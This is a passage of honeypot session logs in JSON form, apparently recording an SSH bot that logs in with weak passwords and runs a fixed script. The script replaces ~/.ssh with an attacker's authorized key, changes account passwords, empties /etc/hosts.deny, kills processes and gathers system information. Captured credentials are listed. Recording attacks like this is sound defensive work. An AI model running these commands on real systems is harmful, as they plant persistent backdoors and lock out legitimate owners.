AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:28:09.678693+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:28:09.679567+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:28:10.268880+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd\\nlIazWn3OL24n\\nlIazWn3OL24n\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:28:10.859910+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd\\nlIazWn3OL24n\\nlIazWn3OL24n\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:28:11.449966+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:28:12.344845+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:28:12.937631+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:28:13.915913+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:28:14.511273+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:28:15.561248+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:28:16.151611+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:28:16.823318+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:28:17.813892+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:28:18.223117+00:00","kind":"output","latency_ms":null,"data":" 10:28:18 up 6 days, 7:18, 0 user, load average: 0.08, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:28:19.214232+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:28:19.607933+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:28:20.200602+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:28:20.689679+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:28:21.279641+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:28:21.977190+00:00","kind":"output","latency_ms":null,"data":"top - 10:28:21 up 6 days, 7:18, 0 user, load average: 0.08, 0.09, 0.08\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:28:22.567768+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:28:22.867767+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:28:23.461045+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:28:24.125274+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:28:24.716774+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:28:25.440097+00:00","kind":"output","latency_ms":null,"data":"arkserver"},{"seq":29,"at":"2026-08-26T10:28:26.030661+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:28:27.288357+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:28:27.880846+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:28:29.290399+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arkserver","password":"P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"7c009492-8ad6-4852-b7e3-9707c0f3e1a9","name":"meadow-cheerful-zebu","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47988,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:28:01.669265+00:00","ended_at":"2026-08-26T10:28:09.676113+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"ed94733e-64e1-43a7-b1df-d6c037189892","name":"velvet-stormy-guanaco","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":58916,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:27:53.660373+00:00","ended_at":"2026-08-26T10:28:53.669289+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"0020239e-8134-4b2a-a3ef-06753559c827","name":"humble-dappled-bison","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":51480,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":615,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:23:58.690166+00:00","ended_at":"2026-08-26T10:24:00.018969+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T10:23:32.162004+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:23:33.195504+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:23:40.115282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:23:40.116048+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:23:40.733404+00:00","kind":"input","latency_ms":null,"data":"echo -e \"q1w2e3r4t5\\nQPQra2kK6asX\\nQPQra2kK6asX\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:23:41.343855+00:00","kind":"input","latency_ms":null,"data":"echo \"q1w2e3r4t5\\nQPQra2kK6asX\\nQPQra2kK6asX\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:23:41.956590+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:23:42.461767+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:23:43.075208+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:23:44.039759+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:23:44.655762+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:23:45.528507+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:23:46.144398+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:23:46.742250+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:23:47.766341+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:23:48.630329+00:00","kind":"output","latency_ms":null,"data":" 10:23:48 up 6 days, 7:13, 0 user, load average: 0.17, 0.13, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:23:49.654074+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:23:50.337406+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:23:50.949819+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:23:51.598176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:23:52.211877+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:23:52.756421+00:00","kind":"output","latency_ms":null,"data":"top - 10:23:52 up 6 days, 7:13, 0 user, load average: 0.17, 0.13, 0.2\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:23:53.371284+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:23:53.664112+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:23:54.279331+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:23:54.724171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:23:55.338355+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:23:55.602874+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-26T10:23:56.216274+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:23:57.668201+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:23:58.690810+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:23:59.825340+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"q1w2e3r4t5","method":"password","accepted":true,"tier":"other"}]} {"id":"d9096e97-5dbf-41a5-8f62-70595ad5e015","name":"languid-balmy-magpie","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":51500,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:23:37.748190+00:00","ended_at":"2026-08-26T10:23:39.507480+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"569df95d-833b-4902-b677-d38593e476b3","name":"sooty-faded-polecat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":51494,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:23:35.098189+00:00","ended_at":"2026-08-26T10:23:36.056229+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f3c633b0-6488-4717-a0f4-c399e02644ca","name":"cheerful-inland-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":36286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":616,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:19:39.338741+00:00","ended_at":"2026-08-26T10:19:41.087847+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T10:19:13.435100+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:19:14.478489+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:19:22.079169+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:19:22.079595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:19:22.692725+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qzaoNNS0RNSP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:19:23.306315+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:19:23.918501+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:19:24.626599+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:19:25.242672+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:19:26.591268+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:19:27.209827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:19:28.294626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:19:28.910600+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:19:29.296591+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:19:29.913985+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:19:30.210456+00:00","kind":"output","latency_ms":null,"data":" 10:19:30 up 6 days, 7:09, 0 user, load average: 0.21, 0.15, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:19:30.826089+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:19:31.404352+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:19:32.019712+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:19:32.725058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:19:33.341639+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:19:33.885898+00:00","kind":"output","latency_ms":null,"data":"top - 10:19:33 up 6 days, 7:09, 0 user, load average: 0.21, 0.15, 0.16\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:19:34.501912+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:19:35.246996+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:19:35.863017+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:19:36.309568+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:19:36.923625+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:19:37.228159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:19:37.847331+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:19:38.723359+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:19:39.339591+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:19:40.894441+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc123321","method":"password","accepted":true,"tier":"other"}]} {"id":"a3f1c7e9-a607-4ced-8b4e-75206c4da9d9","name":"sterling-seaward-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44310,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:19:20.822895+00:00","ended_at":"2026-08-26T10:19:21.883890+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1546bebd-939d-44fc-9710-11270f5a35e9","name":"hollow-shaded-cougar","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":36292,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:19:17.170633+00:00","ended_at":"2026-08-26T10:19:19.120763+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eb8e6693-cde6-4fbb-8abb-03ae9efdf0ee","name":"nameless-western-swallow","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":38584,"username":"eve","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":595,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:15:29.645308+00:00","ended_at":"2026-08-26T10:15:31.154005+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2123,"events":[{"seq":1,"at":"2026-08-26T10:14:52.188513+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:14:52.780385+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:15:09.162468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:15:09.163047+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:15:10.157715+00:00","kind":"input","latency_ms":null,"data":"echo -e \"eve\\ni3wIrSpf13uN\\ni3wIrSpf13uN\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:15:10.747321+00:00","kind":"input","latency_ms":null,"data":"echo \"eve\\ni3wIrSpf13uN\\ni3wIrSpf13uN\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:15:12.955415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:15:13.603406+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:15:14.555699+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:15:15.925472+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:15:16.521003+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:15:17.965434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:15:18.561921+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:15:19.208252+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:15:19.803202+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:15:20.118758+00:00","kind":"output","latency_ms":null,"data":" 10:15:20 up 6 days, 7:05, 0 user, load average: 0.19, 0.22, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:15:20.712033+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:15:20.986835+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:15:21.580038+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:15:22.416422+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:15:23.010927+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:15:23.634715+00:00","kind":"output","latency_ms":null,"data":"top - 10:15:23 up 6 days, 7:05, 0 user, load average: 0.19, 0.22, 0.19\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:15:24.226639+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:15:24.829931+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:15:25.821170+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:15:26.454521+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:15:27.047886+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:15:27.331285+00:00","kind":"output","latency_ms":null,"data":"eve"},{"seq":29,"at":"2026-08-26T10:15:27.925741+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:15:29.051984+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:15:29.646270+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:15:30.966605+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"eve","password":"eve","method":"password","accepted":true,"tier":"other"}]} {"id":"2481cbd4-3001-4cd6-98e6-264e532723c9","name":"chilly-upland-stoat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":52136,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:15:01.152686+00:00","ended_at":"2026-08-26T10:15:09.159222+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} 